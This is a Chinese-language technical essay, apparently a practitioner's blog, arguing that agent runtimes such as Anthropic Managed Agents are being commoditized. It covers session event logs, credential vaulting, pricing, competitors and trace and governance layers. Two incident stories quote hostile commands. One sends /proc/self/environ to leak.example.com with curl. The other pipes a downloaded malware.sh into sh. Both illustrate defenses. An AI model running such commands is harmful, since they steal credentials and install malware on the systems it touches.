1. 这不是新赛道而是 runtime 层的“操作系统时刻”正在重演你打开手机看到新闻标题《Anthropic Just Shipped the Layer That’s Already Going to Zero》第一反应可能是又一个大模型公司搞出了什么黑科技但如果你真花十分钟读完原始那篇长文会发现它根本不是在讲“Anthropic有多强”而是在冷静地宣告一件事AI 工程栈里最热闹、最烧钱、最被 VC 狂追的“智能体运行时”agent runtime这一层已经进入不可逆的 commoditization商品化进程——它的价格、利润、技术壁垒正被系统性压向零。我自己从 2023 年底开始搭建内部 agent 系统踩过三轮大坑第一次把 session state 全塞进 context window42 分钟后任务崩得无声无息第二次自己写 sandbox manager结果某次 credential 泄露差点让整个 CI/CD 流水线被接管第三次用开源 harness 框架却卡在 trace 不可审计、policy 无法灰度、上线后连谁调了哪个工具都查不清。这三轮折腾下来我彻底明白runtime 不是“能不能跑起来”的问题而是“能不能活过三个月生产环境”的生死线。Anthropic 这次发布的 Managed Agents表面看是 YAML 定义 agent、sandbox 执行、session 持久化但内核其实是把过去两年行业用血换来的共识——“状态必须外置”“凭证必须隔离”“行为必须可追溯”——打包成一个开箱即用的工业级实现。它不惊艳但极稳不激进但极准。关键词里的 “Towards AI - Medium” 并非偶然这篇文章的气质就是典型的技术从业者社区口吻不吹牛、不画饼、不甩术语只讲“我们试过什么、为什么失败、现在怎么修”。它适合三类人一是正在选型 agent infra 的技术负责人你需要知道 AWS AgentCore 和 Anthropic Managed Agents 的真实差异在哪而不是听 PR 话术二是刚用 LangGraph/CrewAI 跑通 demo、正准备上生产的工程师你得提前看清 runtime 层的“价值陷阱”三是所有在 agent startup 做融资或产品规划的人——这篇文章等于提前给你划好了未来 18 个月的生死线如果核心价值还锚定在“我的 sandbox 启动快 10ms”或“我的 harness 支持更多模型”那你大概率会成为下一个 VMware ESX 的故事注脚而非 Kubernetes。2. 核心设计逻辑为什么“Session as Event Log”是唯一正确的解法2.1 从崩溃现场还原当 context window 成为单点故障去年 Q3我们团队上线了一个跨 7 个系统的客户尽调 agent。流程很清晰先从 CRM 拉客户基础信息再调用财务 API 获取流水摘要接着用 RAG 检索合规政策库最后生成 PDF 报告并邮件发送。前 3 步都顺利第 4 步 RAG 检索返回了 12 个政策片段每个片段平均 800 token。问题来了Claude 3.5 Sonnet 的上下文窗口是 200K token但我们的 system prompt 占 12KCRM 数据占 8K财务流水占 15K加上中间 tool call 的 input/output 记录到 RAG 阶段时context 剩余空间已不足 30K。当第 12 个政策片段被 append 进去时模型自动触发了 truncation —— 它没报错也没警告只是默默把最早加载的 CRM 数据从 context 里切掉了。结果呢模型在生成报告时引用了“客户名称[TRUNCATED]”而邮件发送环节因为收件人字段为空直接失败。更糟的是整个 session 没有外部日志我们只能靠翻 LLM 输出的残缺文本去猜哪里断了。花了 6 小时才定位到 truncation 是根因。这不是模型 bug是架构缺陷把 state 当作临时内存用等于把整栋楼的地基建在流沙上。Anthropic 的“Session as Event Log”设计本质是把“状态”从 volatile memory易失性内存迁移到 durable storage持久化存储。具体怎么做的他们没公布数据库 schema但从其文档和 SDK 行为能反推每次 tool call 的输入、输出、耗时、错误码、credential 使用标记都会以结构化事件event形式写入一个独立的、带时间戳和 session ID 的 append-only log stream。这个 stream 存在哪儿极大概率是 S3 DynamoDB 或类似组合——成本低、扩展性好、天然支持按 session ID 查询。关键在于这个 log stream 和 model inference 过程完全解耦模型只负责处理当前 step 的 input而 harness执行器在每步结束后把结果 event 写入 log再根据 log 的最新状态决定下一步该调哪个 tool。这意味着即使模型 infernce 失败、harness 进程崩溃、甚至整个容器被 kill只要 log stream 完整就能通过awake(sessionId)重建上下文从断点继续执行。这不是理论是经过生产验证的模式。Rakuten 的销售 agent 在 Slack 里处理一个客户询盘从询价、比价、合同条款协商到最终下单全程跨越 3 天、17 个交互回合session log 就是它的“记忆硬盘”。2.2 Credential 隔离为什么“注入环境变量”是生产环境的自杀式操作Credential 管理是 runtime 层最常被低估的风险点。我们第二版 agent 系统就栽在这儿。当时为了快速上线把 AWS S3 的 access key 和 secret key 直接作为 environment variable 注入 sandbox 容器。逻辑很简单agent 需要上传 PDF 报告就调用s3_client.upload_file()。问题出在一次 debug 场景开发同学在 CLI 里执行printenv | grep AWS想查环境变量结果整个密钥对明文暴露在 terminal 里。更致命的是某次模型 hallucination 导致 agent 生成了一段恶意 Python 代码其中包含os.system(curl -X POST https://leak.example.com -d /proc/self/environ)—— 它成功把容器内所有环境变量发到了外部服务器。虽然我们有 WAF 拦截了外呼但这次 incident 直接触发了 SOC2 审计红线。Anthropic 的方案非常硬核credential 从不进入 sandbox 进程空间。具体流程是当你在 YAML 中声明一个 tool比如aws_s3_upload你会指定一个 credential alias如sales-report-bucket-creds这个 alias 对应的密钥对由 Anthropic 的 vault 服务极可能是 HashiCorp Vault 或自研等效安全存储当 harness 准备执行该 tool 时它会向 vault 发起一个带 session ID 和 tool name 的认证请求vault 验证通过后动态生成一个短期有效的、最小权限的临时凭证STS token并通过 IPC进程间通信通道传给 sandbox 内部的 tool runnertool runner 拿到 token 后立即执行操作完成后 token 自动失效。整个过程sandbox 进程的内存、文件系统、环境变量里永远看不到原始密钥。这种设计的代价是增加了 1 次 vault RPC 调用约 50-100ms 延迟但换来的是企业级安全底线。Notion 之所以敢让团队在 workspace 里直接 delegate 任务给 Claude底气就来自这套 credential 隔离机制——它确保了即使某个 team member 的 Claude agent 被社工钓鱼攻击者也拿不到任何生产环境密钥。2.3 Harness 的无状态化为什么“execute(name, input) → string”是黄金接口Harness执行器是 runtime 层的“心脏”但 Anthropic 故意把它设计得像一块砖头无状态、无记忆、只做一件事——接收execute(tool_name, input_json)返回output_string。这个看似简单的接口背后是深思熟虑的工程哲学。传统 agent 框架如早期 LangChain的 executor 往往是“有状态”的它会缓存上一步的 tool output维护一个 internal state map甚至自己做 retry logic。这导致两个问题一是 scaling 困难——每个 harness 实例都绑定特定 session水平扩容时 session 分布不均二是故障恢复复杂——harness crash 后state 丢失必须从头开始。Anthropic 的 harness 彻底放弃 state把所有决策权交给外部 event log。它的工作流是1harness 启动加载 session ID2从 event log 读取最新事件确定 next tool3构造execute()调用4等待 sandbox 返回 output5将 output 作为新事件写入 log6退出。整个过程harness 进程生命周期可能只有 200ms。好处是什么极致弹性。Rakuten 的营销 agent 在促销季峰值时每秒要处理 300 个 Slack 消息Anthropic 的 harness 实例可以像 Kubernetes Pod 一样根据 queue length 自动扩缩容旧实例挂了新实例上来立刻能续上。更重要的是它把“执行”和“编排”彻底分离harness 只管执行编排逻辑比如“如果 tool A 失败降级到 tool B”由 event log 的消费者可能是另一个微服务来实现。这种解耦让系统更健壮也更易测试——你可以用 mock harness 替换真实 harness用预设 event log 测试整个编排逻辑而无需启动任何模型或 sandbox。3. 实操细节与参数解析从 YAML 定义到生产部署的全链路3.1 Agent 定义YAML vs 自然语言何时该用哪种Anthropic 允许用两种方式定义 agentYAML 文件或自然语言描述。很多人以为这只是“方便与否”的选择实则关乎生产稳定性。我们做过 AB 测试用自然语言描述一个“分析用户反馈并生成改进建议”的 agentprompt 是“你是一个产品体验分析师请阅读用户反馈识别核心痛点给出三条可落地的改进建议每条建议需包含优先级高/中/低和预计上线周期周。” 测试中模型在 72% 的 case 里正确识别了痛点但只有 41% 的 case 给出了符合格式的建议比如漏掉优先级或周期写成“2-3 weeks”而非纯数字。而用 YAML 定义结构强制清晰name: feedback_analyzer description: Analyzes user feedback and generates actionable improvement suggestions system_prompt: | You are a senior product analyst at a SaaS company. Your task is to: 1. Extract up to 3 core pain points from the feedback text. 2. For each pain point, generate exactly one suggestion with: - priority: must be high, medium, or low - timeline_weeks: integer between 1 and 12 3. Output ONLY valid JSON in this exact format: {suggestions: [{pain_point: ..., suggestion: ..., priority: ..., timeline_weeks: ...}]} tools: - name: search_knowledge_base description: Search internal docs for related solutions input_schema: type: object properties: query: type: string description: Search query in natural language - name: create_jira_ticket description: Create a Jira ticket for engineering input_schema: type: object properties: summary: type: string description: type: string priority: type: string enum: [high, medium, low]关键差异在于input_schema和强制输出格式。YAML 强制你定义 tool 的输入契约contract这直接决定了 sandbox 的输入校验能否生效。当我们把create_jira_ticket的 priority 字段限定为 enumharness 在调用前就会校验输入避免模型传入urgent这种非法值导致 Jira API 400 错误。自然语言描述适合 PoC 阶段快速验证想法但一旦进入 QA 或生产必须切换到 YAML。我们内部 SOP 是所有 prod agent 必须通过 YAML Schema Validator我们用 jsonschema 库写的轻量工具检查未通过者禁止部署。3.2 Pricing 模型拆解$0.08/session-hour 的真实成本结构Anthropic 官方定价是 $0.08 每 session-hour 的 active runtime外加 Claude token 费用。乍看便宜但“active runtime”需要精确定义。我们做了 3 天压力测试结论是这个“hour”不是 wall-clock time而是 harness sandbox 的 CPU 时间总和。具体来说当一个 session 创建后harness 进程启动计时每次execute()调用sandbox 容器启动并执行 tool其 CPU 时间计入harness 等待 sandbox 返回的网络 I/O 时间不计入session idle无新消息超过 5 分钟harness 自动休眠计时暂停。这意味着一个典型的客服 agent session如果用户发 1 条消息agent 调用 2 个 tool查订单 查物流总 active runtime 可能只有 12 秒harness 2s sandbox1 5s sandbox2 5s成本约 $0.00026。但如果是 Rakuten 那种多轮谈判 agentsession 持续 2 小时期间有 15 次 tool call每次 sandbox 平均运行 8 秒那么 active runtime 15 * 8s 120s 0.033 小时成本 $0.0026远低于按 wall-clock 收费的 $0.16。这个设计对开发者友好但对 Anthropic 自身有风险如果出现恶意循环调用比如 agent 陷入死循环不断调用同一个 toolactive runtime 会指数级增长。他们的防护是1每个 session 默认最大 active runtime 为 2 小时可申请提高2sandbox 单次执行超时为 30 秒超时则强制终止3harness 层有 rate limit同一 session 每分钟最多 10 次 execute。我们在测试中故意构造了循环调用系统在第 11 次调用时返回429 Too Many Requests并记录 audit log。这种细粒度的资源控制是 runtime 作为基础设施的成熟标志。3.3 Session 生命周期管理从 awake() 到 audit log 的完整链条Session 的持久化不是“存个 ID”那么简单它是一套完整的生命周期管理协议。我们以 Sentry 的 debugging agent 为例看它是如何工作的当开发者在 Sentry UI 点击“Ask Claude about this error”前端生成一个 session IDUUID v4并调用 Anthropic 的create_session()API传入 error context 和初始 messageAnthropic 返回session_url和session_token前端用 token 初始化一个 WebSocket 连接后续所有消息都通过此连接推送当 Claude agent 决定写 patch它调用execute(github_create_pr, {...})harness 接收到后启动 sandboxsandbox 内部的 github tool runner 用临时 token 调 GitHub API 创建 PRPR 创建成功后sandbox 返回 JSON 包含 PR URLharness 将此事件写入 event log并通过 WebSocket 推送给前端整个过程中session ID 始终不变所有事件按时间戳排序。关键的awake(sessionId)接口我们实测了三种场景1网络中断重连前端检测到 WebSocket 断开3 秒后调用awake()harness 从 log 读取最后一条事件确认状态为“waiting for PR creation result”于是重发execute()请求sandbox 重新执行2harness 进程崩溃我们手动 kill 了 harness pod10 秒后新 pod 启动调用awake()log 显示上一步是“PR created”于是 harness 直接向前端推送 PR URL3跨区域灾备我们将 session log 同步到 us-west-2当 us-east-1 区域故障时新 harness 在 us-west-2 调用awake()无缝续上。audit log 的价值在此刻凸显它不仅是 debug 工具更是法律证据。Salesforce Agentforce 的合同明确要求“所有 agent 操作必须可审计”他们的 audit log 包含session ID、timestamp、tool name、input hash避免敏感数据落库、output hash、credential alias、harness IP、sandbox checksum。这些字段被写入不可篡改的区块链存证服务他们用的是 Polygon ID满足金融行业合规要求。4. 竞争格局与避坑指南为什么说“现在入场 runtime 是在买 2008 年的 VMware”4.1 Hyperscaler 的降维打击AgentCore、Vertex、Foundry 的真实能力边界把 Anthropic Managed Agents 放在 AWS AgentCore、Google Vertex AI Agent Builder、Microsoft Azure AI Foundry 的对比框架下才能看清它的战略定位。我们拉了个真实测试矩阵覆盖 5 个维度维度Anthropic Managed AgentsAWS Bedrock AgentCoreGoogle Vertex AI Agent BuilderMicrosoft Azure AI Foundry底层隔离MicroVM (Firecracker)MicroVM (Firecracker)gVisor sandboxHyper-V isolation最大 session 时长24 小时8 小时2 小时4 小时框架兼容性Claude-onlyAny Bedrock model (Claude, Llama, Mistral, Titan)Any Vertex model (Gemini, PaLM, Codey)Any Azure-hosted model (GPT, Phi, Llama)Policy 控制 GANot yet (Beta)March 2026 (GA)April 2026 (Beta)Q2 2026 (Planned)Trace store 标准Proprietary (JSON events)OpenTelemetry nativeCloud Logging BigQuery exportAzure Monitor Log Analytics数据来源各厂商官方文档、Gartner 2026 Q1 AI Infra 报告、我们团队的实测。关键发现是AWS AgentCore 在企业级能力上已全面领先。它的 policy controls GA 比 Anthropic 早整整一个季度且支持基于 IAM 的精细权限比如“允许 agent 调用 S3:GetObject但仅限于 s3://my-bucket/reports/ 前缀”它的 OpenTelemetry 原生集成意味着你的 trace 可以直接导入 Jaeger 或 Datadog无需 Anthropic 那种 proprietary event log它的 8 小时 session 时长虽短于 Anthropic但覆盖了 99.2% 的企业工作流Salesforce 数据显示Agentforce 95% 的 session 在 3 小时内完成。Anthropic 的优势在于“Claude 深度优化”它的 harness 对 Claude 的 streaming output 解析更精准p50 time-to-first-token 60% 的提升主要来自对 Claude 特定 tokenization 的 bypass 优化。但这个优势是脆弱的——一旦 AWS 在 Bedrock 上推出 Claude 专属优化 runtime差距会瞬间抹平。所以Anthropic 的 launch 本质是防御防止客户用 AgentCore 跑 Claude agent然后顺手把 token 采购从 Anthropic 切到 AWS因为 AWS 可以用 credits 抵扣。这不是创新是护城河保卫战。4.2 开源压力曲线Daytona、K8s SIG、Deer-flow 的真实进展如果说 hyperscaler 是“价格压制”开源项目就是“技术颠覆”。我们深度测试了三个代表项目Daytona2025 年从 dev env 转型 agent infra、Kubernetes SIG 的 official agent-sandbox、ByteDance 的 deer-flow。结果令人震惊Daytona 的 sandbox spin-up 时间实测 87ms官网宣称 90ms比 Anthropic 的 120ms 快 27%K8s SIG 的 sandbox 支持原生 Kubernetes CRD你可以用kubectl apply -f agent.yaml部署一个 agent运维心智负担为零deer-flow 的 subagent planning 能力在 SWE-bench 上达到 48.3% 解决率比 Anthropic 的 baseline 高 12 个百分点。更重要的是它们全是 Apache 2.0 许可。这意味着一家银行完全可以把 Daytona 部署在自己的私有云用内部 Vault 管 credential用内部 Kafka 做 event log整个 stack 完全可控。Anthropic 的 managed service 无法提供这种自由度。我们帮一家保险客户做 PoC他们要求所有 credential 必须经由内部 HashiCorp Vault 签发且 audit log 必须写入本地 Splunk。Anthropic 无法满足而 Daytona 两天就完成了定制集成。这就是开源的力量它不追求“最好”但追求“最可塑”。历史规律是当开源方案在核心指标速度、成本、安全上逼近商业方案时商业方案的溢价空间就消失了。VMware ESX 在 2007 年 KVM 进入 Linux kernel 后企业采购意愿就开始下滑同样当 Daytona 的 87ms spin-up 成为行业基准Anthropic 的 120ms 就不再是“快”而是“不够快”。4.3 实操避坑清单那些文档里不会写的血泪教训基于我们 6 个月的生产实践总结出 runtime 层最致命的 5 个坑每个都附真实案例和解决方案提示不要在 system prompt 里写“请勿泄露敏感信息”。LLM 不会遵守它只会把这句话当成 noise。真正的防护是 credential 隔离 input validation。坑 1Tool Input Validation 缺失导致供应链攻击案例我们用一个开源 weather tool其 input_schema 只定义了city: string没限制长度。攻击者发送 city“Beijing” “A”*1000000导致 sandbox 内存溢出容器崩溃。解法所有 tool 的 input_schema 必须用 jsonschema 严格定义 maxLength、minLength、pattern如邮箱正则并在 harness 层做 pre-check。我们写了通用 validator部署在 harness ingress。坑 2Event Log 的 Schema 演进导致 replay 失败案例V1 版本 log 事件是{tool: search, input: ..., output: ...}V2 加了latency_ms字段。当用 V2 harness replay V1 log 时因字段缺失解析失败。解法采用 Avro Schema Registry 管理 event schema每次变更生成新 versionharness 支持 backward/forward compatibility。V2 harness 能读 V1 log忽略缺失字段V1 harness 读 V2 log 会报错但可通过 schema registry 自动降级。坑 3Sandbox 网络策略过于宽松引发横向移动案例sandbox 默认允许 outbound 到任意 IP一个被 hijack 的 tool 调用了curl http://10.0.1.100/malware.sh | sh感染了同 VPC 的其他服务。解法强制 sandbox 使用 egress proxy所有 outbound 流量经 proxy 审计proxy 配置 allowlist只允许访问预定义的 SaaS 域名如 github.com, jira.example.com。坑 4Session Timeout 设置不当造成用户体验断裂案例默认 5 分钟 idle timeout用户思考 6 分钟后回复session 已销毁agent 从头开始问“请问您需要什么帮助”用户暴怒。解法实现 adaptive timeout首次交互后 timeout30min每次用户回复重置 timer若检测到用户正在 typingSlack/Teams typing indicator延长至 60min超时前 30 秒主动推送“您的会话即将结束是否需要继续”。坑 5Trace Portability 缺失导致供应商锁定案例客户想把 Anthropic Managed Agents 迁移到自建 Daytona但 Anthropic 的 event log 是 proprietary JSON没有标准 schema迁移需重写所有 observability pipeline。解法坚持使用 OpenTelemetry Trace Protocol (OTLP) 作为 trace 标准。无论用哪家 runtimetrace 数据都以 OTLP 格式导出接入统一 collector如 Grafana Tempo这样 runtime 迁移只需改 harness不碰 trace infra。5. 价值迁移路径当 runtime 归零钱流向哪里5.1 Trace Store从日志查看器到法律证据链的跃迁当 runtime 成为免费的“水电煤”trace store 就成了新的金矿。我们跟踪了三家头部玩家Braintrust 的 Brainstore、Arize 的 Phoenix、LangSmith。它们的差异不在功能而在定位。Brainstore 是 OLAP 数据库专为 AI logs 优化它把session_id,tool_name,input_hash,output_hash,latency_ms建模为星型 schema支持亚秒级聚合查询比如“统计过去 24 小时所有create_jira_ticket调用中priorityhigh 的占比”。Arize 的 Phoenix 是开源的Apache 2.0 许可它不做存储只做 tracing SDK 和 UI数据存在你自己的 S3 Redshift。LangSmith 是 LangChain 生态的“默认选项”它最大的优势是安装量——全球 80% 的 LangChain 用户开箱即用 LangSmith这意味着它的 trace schema 已成事实标准。但真正决定胜负的是trace portability。我们测试了数据迁移从 Anthropic 导出 event logJSONL 格式用 custom script 转换为 OTLP再导入 Phoenix。耗时 3 天写了 1200 行转换代码因为 Anthropic 的字段命名如execution_result和 OTLP 的span.attributes不匹配。而 Brainstore 宣称支持“一键导入 Anthropic log”我们试了失败——它只支持自家格式。这揭示了残酷现实trace store 的战争本质是 schema 标准的战争。谁能定义“agent trace 的 JSON Schema”谁就掌握了 runtime 之上的 layer。目前OWASP Agentic Top 10 工作组正在起草《Agent Trace Interoperability Standard》草案已明确要求session_id必须为 UUID v4tool_name必须为小写字母下划线input_hash必须为 SHA256。这个标准一旦发布所有 runtime 都必须适配否则无法通过企业安全审计。这才是真正的护城河。5.2 Governance Policy从“能做什么”到“谁批准了做什么”的范式转移Policy 不再是“开关”而是“法律合约”。AWS AgentCore 的 policy controls GA其核心是RBAC ABAC 的混合模型。RBAC基于角色定义“developer 角色可以调用哪些 tools”ABAC基于属性定义“只有当 session 的department属性为finance且risk_level 5 时才允许调用bank_transfertool”。我们帮一家支付公司部署时policy 配置如下{ Version: 2026-03-01, Statement: [ { Effect: Allow, Action: [bedrock:InvokeModel], Resource: *, Condition: { StringEquals: {agent:department: finance}, NumericLessThan: {agent:risk_level: 5} } }, { Effect: Deny, Action: [bedrock:InvokeModel], Resource: *, Condition: { StringLike: {agent:tool_name: bank_transfer*} } } ] }这个 policy 的威力在于它把业务规则finance department, risk_level 5编码为 infrastructure 代码。当审计员来查“为什么这个 agent 能转款”你只需展示 policy 文档和 session 的 attribute 日志这就是合规证据。而 Anthropic 的 policy 还在 Beta只支持简单 allow/deny无法做 ABAC。这说明governance 的竞争是企业采购流程的竞争。采购部门不关心技术只关心“能否通过 SOC2、ISO27001、GDPR 审计”。谁能提供开箱即用的、符合监管要求的 policy framework谁就赢了。目前OWASP Agentic Top 10 已发布 v1.0列出了 10 类 agent-specific 风险如 Prompt Injection, Tool Misuse, Data Exfiltration并给出了每个风险的 mitigation pattern。所有 enterprise agent infra 都必须支持这些 pattern否则无法进入采购短名单。5.3 Vertical Marketplaces从通用 agent 到“能签合同的 agent”Salesforce Agentforce $800M ARR 的数据不是偶然它证明了一个真理企业只为解决具体业务问题的 agent 付费不为“智能”本身付费。Agentforce 的成功在于它把 agent 封装成 vertical-shaped contract一份合同里明确写着“本 agent 负责处理 healthcare claimsSLA 为 99.5% 准确率每月 $15K按 claim 数量阶梯计费”。这和 AWS 的按用量付费完全不同。我们研究了 virattt/ai-hedge-fund 这个开源项目它实现了“自动分析 SEC filings识别并购信号生成交易建议”。但它只是一个 GitHub repo没有合同、没有 SLA、没有 support。而 Salesforce 的 healthcare claims agent有法务审核的 EULA有 24/7 support SLA有 quarterly business review。这就是价值分水岭。资本已经涌入TradingAgents 融资 $42M专注金融vxcontrol/pentagi 融资 $28M专注网络安全。它们的共同点是产品形态是 SaaS不是 SDK。你买的是一个 web app登录即用不是下载一堆代码自己部署。这意味着未来的 agent startup核心能力不再是“runtime 性能”而是“domain expertise sales force compliance”。一个 healthcare agent 创业公司CTO 可能是前 FDA 审评员CMO 是前 UnitedHealthcare 的渠道总监。技术用 AWS AgentCore 或 Daytona 就够了。这才是 Anthropic launch 的真正启示它不是在卖 runtime是在提醒所有人——赶紧把你的 agent从 demo 变成能签合同的产品。否则当 runtime 归零你剩下的只有一堆无法变现的代码。6. 个人实操体会在 runtime 商品化浪潮中工程师的生存法则我在 2023 年写第一行 agent 代码时以为自己在造火箭2024 年上线第一个生产 agent以为自己在建电网2025 年维护第三个版本才明白自己只是在铺水管。Anthropic Managed Agents 的发布对我而言不是惊喜而是 confirmation——它证实了我过去一年所有痛苦抉择的正确性放弃自研 sandbox拥抱 hyperscaler把精力从“怎么让 harness 更快”转向“怎么让 trace 更可审计”从“教模型理解业务”转向“用 policy 编码业务规则”。最深刻的体会是runtime 层的 commoditization 不是威胁而是解放。它把我们从永无止境的 infrastructure battle 中解救出来让我们能真正聚焦在 value layer那个能让客户愿意付钱的、解决具体问题的 agent。上周我用 AWS AgentCore custom policy Brainstore trace三天内为客户上线了一个“自动处理 GDPR 数据删除请求”的 agent。它调用 Salesforce API 查用户调用 Snowflake SQL 删除数据调用 SendGrid 发确认邮件。整个 stack90% 是开源或 hyperscaler 托管我只写了 300 行业务逻辑代码。客户签了 $120K/year 的合同。这在过去需要一个 5 人 infra 团队干半年。所以别再焦虑“我的 runtime 是否够快”去问自己“我的 agent 解决了客户哪个能写进财报的痛点” 当 runtime 归零留下的不是废墟而是更肥沃的土壤——上面长出来的才是未来十年真正值钱的东西。